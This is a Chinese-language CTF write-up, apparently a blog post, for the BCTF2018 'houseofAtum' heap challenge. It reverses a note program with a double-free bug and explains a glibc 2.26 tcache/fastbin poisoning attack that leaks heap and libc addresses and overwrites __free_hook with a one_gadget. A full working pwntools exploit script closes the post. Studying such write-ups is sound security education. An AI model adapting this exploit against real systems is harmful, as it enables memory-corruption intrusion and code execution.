[堆利用:TCache机制]hauseofAtum

7 篇文章 0 订阅

[堆利用:TCache机制]hauseofAtum

题目链接:https://github.com/blue-lotus/BCTF2018/tree/master/pwn/houseofAtum

0x00 逆向分析

菜单:

__int64 menu()
{
  puts("1. new");
  puts("2. edit");
  puts("3. delete");
  puts("4. show");
  printf("Your choice:");
  return getint();
}

功能:1.创建note

int alloc()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 1 && notes[i]; ++i )
    ;
  if ( i == 2 )
    return puts("Too many notes!");
  printf("Input the content:");
  notes[i] = malloc(0x48uLL);
  readn((void *)notes[i], 0x48LL);
  return puts("Done!");
}

注意点:只能存在两个堆块,存在两个之后再创建会提示太多了。因此要在只有两个堆块的情况下完成。

ssize_t __fastcall readn(void *a1, size_t a2)
{
  return read(0, a1, a2);
}

发现他对0x48大小的堆块写了0x48大小,可能存在泄露。

2.修改

int edit()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("Input the idx:");
  v1 = getint();
  if ( v1 < 0 || v1 > 1 || !notes[v1] )
    return puts("No such note!");
  printf("Input the content:");
  readn(notes[v1], 72LL);
  return puts("Done!");
}

3.删除

unsigned __int64 del()
{
  int v1; // [rsp+0h] [rbp-10h]
  char v2[2]; // [rsp+6h] [rbp-Ah] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Input the idx:");
  v1 = getint();
  if ( v1 >= 0 && v1 <= 1 && notes[v1] )
  {
    free((void *)notes[v1]);
    printf("Clear?(y/n):");
    readn(v2, 2uLL);
    if ( v2[0] == 'y' )
      notes[v1] = 0LL;
    puts("Done!");
  }
  else
  {
    puts("No such note!");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里存在一个本题关键的漏洞点:
只有返回y的时候,才会清除chunk指针,否则不清除。
这就导致如果我如果每次free都不clear,那么就可以一直对同一个堆块free。

4.打印

int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("Input the idx:");
  v1 = getint();
  if ( v1 < 0 || v1 > 1 || !notes[v1] )
    return puts("No such note!");
  printf("Content:");
  puts((const char *)notes[v1]);
  return puts("Done!");
}

0x01 漏洞利用

关键点:当fastbin的chunk被申请后,如果tcache未满,则会把fastbin中的chunk装入tcache。可以利用这一点,在申请fastbin的同时,将伪造堆块的指针放入tcache的entries中。
步骤:
1.先创建一个chunk0,再创建一个chunkA,在chunkA的尾部写入0x11后再释放掉(绕过top chunk的合并检测),目的是为后续修改chunk0的size腾出空间。
将chunkA多次free,再用show泄露tcache中的chunk地址(chunk_addr)。
2.释放七个相同chunk再释放一次,即可让chunk进入fastbin
3.将tcache中的chunk(后称chunk0)取出,使得tcache的counts-1变成6的同时,失去entries指针。(之后会详细解释)在取出chunk的同时写入chunk_addr - 0x20
4.申请第二个堆块(chunk1),因为此时entries为空,堆块将从fastbin中取出,因为动用了fastbin,而由于之前从tcache中拿了一个chunk ,counts是6(没满),因此,tcache会将fastbin中的chunk放入tcache中。在此操作之前,在fastbin中的chunk0的fd指针已经被改为chunk_addr - 0x20,因此tcache将会把chunk_addr - 0x10写入entries。
5.将chunk1释放,因为此时tcache已满,所以它会被放入fastbin(不会放入tcache),再将它取出(优先从tcache取出)。因为之前改写了tcache的entries,此时的chunk1已经变成我们控制chunk0 size的内鬼了。
6.通过修改chunk1的内容,使chunk0的size变为0x90再把chunk0 free掉,chunk0就会进unsorted bin。再把chunk1前0x10全改成‘A’,show chunk1,从而泄露libc基地址。
7.用chunk1把chunk0恢复原样,由于chunk0 同时存在fastbin和unsortedbin,优先从fastbin取出。再一次把chunk0的fd指针改成free_hook - 0x10,利用和上面一样的方法,把entries改为free_hook,在free_hook上创建堆块,将其地址改为onegadget。
8.随便free一个chunk,触发onegadget,完成。

0x02 详细步骤

方便阅读脚本,先放一下函数定义:

def new(cont):
    io.sendlineafter("choice:",'1')
    io.sendafter("content:",cont)

def edit(idx,cont):
    io.sendlineafter("choice:",'2')
    io.sendlineafter("idx",str(idx))
    io.sendafter("content:",cont)

def delete(idx,x):
    io.sendlineafter("choice:",'3')
    io.sendlineafter("idx",str(idx))
    io.sendlineafter("(y/n)",x)

def show(idx):
    io.sendlineafter("choice:",'4')
    io.sendlineafter("idx:",str(idx))

1.泄露chunk0地址

def leak():
    global heap_addr
    new('A')
    new(p64(0)*7 + p64(0x11))
    #1
    delete(1,'y')
    for i in range(6):
        delete(0,'n')
    #2
    show(0)
    io.recvuntil("Content:")
    heap_addr = u64(io.recv(6).ljust(8,'\x00'))
    log.info("heap_addr:0x%x" % heap_addr)

先申请一个chunk,再申请第二个,在第二个chunk的最后0x08的位置放入0x11,防止top chunk合并。
把第一个chunk free六次,装满tcache,然后show,即可泄露chunk地址。
看一下代码段中#1 #2位置时的内存:

#1

在这里插入图片描述
可以看到紧贴topchunk的那个chunk并没有被合并

#2

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可以看到此时的chunk0的next指针位已经被写入了chunk地址,它的地址正好是chunk0的用户区域起始地址。利用show()即可输出该地址。

2.泄露libc基地址

这段脚本信息量很大,分段说明

第一段
	delete(0,'y') #! ->fastbin
	#1
    new(p64(heap_addr - 0x20))
    #2
    new('A')
    #3
    delete(1,'y')
    new(p64(0) + p64(0x91))
	#4

在上一步,tcache已被塞满,因此再delete一次,就会使chunk0被装入fastbin。
fastbin是单链表,它依靠在chunk的用户区域前0x08位置写入fd指针,来进行单链表的添加,删除操作。
chunk0是第一个进入fastbin的,它的前面没有任何chunk,因此它的fd指针为空,所以用户区域的前0x08变成了0。
但是在此之前,chunk0还在tcache的时候,它在用户区域前0x08的位置装的是tcache所用的next指针。因此它在被装入fastbin的同时,相当于清空了它的next指针位。

#1

在这里插入图片描述
此时的tcache和fastbin
在这里插入图片描述
下一步,申请一个chunk并写入heap_addr - 0x20的地址。
首先,申请会发生什么。因为tcache和fastbin中都有chunk,会优先从tcache中取出一个chunk。但是,由于上一行代码已经将chunk0的next指针清空,因此取出chunk的同时就清空了tcache的entries指针,此时的tcache有6个chunk记录(counts = 6)但是却没有指向任何chunk的指针(entries = 0)。

#2

在这里插入图片描述
下一步,申请一个chunk。
由于tcache中的entries已经被清空,所以只会从fastbin中取chunk。由于tcache的管理机制,如果从fastbin中申请了一个chunk,就会自动的将fastbin中其他chunk放入tcache中。
有一个小细节,因为fastbin的fd指针指向的是chunk头,而tcache的next指针指向的是chunk的用户区域,他们之间有0x10的偏移,因此当fastbin中的chunk放入tcache时,会把chunk指针的地址+0x10。
回到这次操作,申请这个chunk后,chunk0从fastbin中取出。虽然实际上fastbin中并没有两个chunk,但是在上一步,chunk0的fd指针被改了,管理器以为还有chunk,把+0x10被放入了tcache的entries。

#3

在这里插入图片描述
可以看到,fastbin和tcache的地址相同。但是意义不一样,tcache指向的是用户区域,而fastbin指向的是chunk头。此时只要将tcache中的chunk取出,就能够控制chunk0的chunk头。

最后两行
将之前new(‘A’)的chunk释放,因为tcache已满,所以它会被放入fastbin。
再申请一个新chunk(chunk1),因为tcache优先度比fastbin更高,所以会从tcache中取出之前构造好的地址的堆块。同时,覆盖原有的size改成0x91,使chunk大小超过fastbin范围,帮助之后泄露libc基地址。

#4

在这里插入图片描述
可以看到chunk的size已经变成0x91了,证明chunk1已经控制了size域(内鬼造好了)。

第二段
    for i in range(7):
        delete(0,'n')
    delete(0,'y')
    #1
    edit(1,"A" * 0x10)
    #2
    show(1)
    io.recvuntil("A"*0x10)
    libc_base = u64(io.recv(6).ljust(8,'\x00')) - 0x3dac78
    log.info("libc_base:0x%x" % libc_base)

之后的步骤就简单了,将0x91的chunk free8次装入unsorted bin。此时chunk0的fd和bk已经被修改,只要通过chunk1用‘A’把chunk0的chunk头填满,再show chunk1,就能泄露出fd指针,通过指针再本地调试即可算出libc基地址。

#1

在这里插入图片描述
chunk已经被放入unsorted bin

#2

在这里插入图片描述
用chunk1装满chunk0的chunk头,可以看到4141已经和fd指针相连,用show即可完成泄露。
在这里插入图片描述
把泄露的地址和libc基地址相减计算出偏移地址,完成libc基地址计算。

3.改写__free_hook

	one_gadget = libc_base + 0xfcc6e
    free_hook = libc_base + libc.symbols['__free_hook']

    edit(1,p64(0) + p64(0x51) + p64(free_hook-0x10))
    new('A')
    delete(0,'y')
    new(p64(one_gadget))
    io.sendlineafter("choice:",'3')
    io.sendlineafter(":",'0')
    io.interactive()

用onegadget指令获取地址。通过chunk1修改chunk0的fd指针,用一样的操作,申请chunk,修改tcache的entries指针,再把它free掉,放入fastbin,再从tcache申请chunk,即可在__free_hook上创建堆块,将地址修改为one_gadget,再随便free一个chunk,完成。

0x03 脚本

from pwn import *
from commonFunc import *

io = process('./houseofAtum')
libc = ELF('/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc.so.6')

def new(cont):
    io.sendlineafter("choice:",'1')
    io.sendafter("content:",cont)

def edit(idx,cont):
    io.sendlineafter("choice:",'2')
    io.sendlineafter("idx",str(idx))
    io.sendafter("content:",cont)

def delete(idx,x):
    io.sendlineafter("choice:",'3')
    io.sendlineafter("idx",str(idx))
    io.sendlineafter("(y/n)",x)

def show(idx):
    io.sendlineafter("choice:",'4')
    io.sendlineafter("idx:",str(idx))

def leak():
    global heap_addr
    new('A')
    new(p64(0)*7 + p64(0x11))
    delete(1,'y')
    for i in range(6):
        delete(0,'n')
    show(0)
    io.recvuntil("Content:")
    heap_addr = u64(io.recv(6).ljust(8,'\x00'))
    log.info("heap_addr:0x%x" % heap_addr)

def leak_libc():
    global libc_base

    delete(0,'y') 
    new(p64(heap_addr - 0x20))
    new('A')
    delete(1,'y')
    new(p64(0) + p64(0x91))

    for i in range(7):
        delete(0,'n')
    delete(0,'y')
    debug(io)
    edit(1,"A" * 0x10)
    debug(io)
    show(1)
    io.recvuntil("A"*0x10)
    libc_base = u64(io.recv(6).ljust(8,'\x00')) - 0x3dac78
    log.info("libc_base:0x%x" % libc_base)

def pwn():
    one_gadget = libc_base + 0xfcc6e
    free_hook = libc_base + libc.symbols['__free_hook']

    edit(1,p64(0) + p64(0x51) + p64(free_hook-0x10))
    new('A')
    delete(0,'y')
    new(p64(one_gadget))
    io.sendlineafter("choice:",'3')
    io.sendlineafter(":",'0')
    io.interactive()

if __name__ == '__main__':
    leak()
    leak_libc()
    pwn()
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值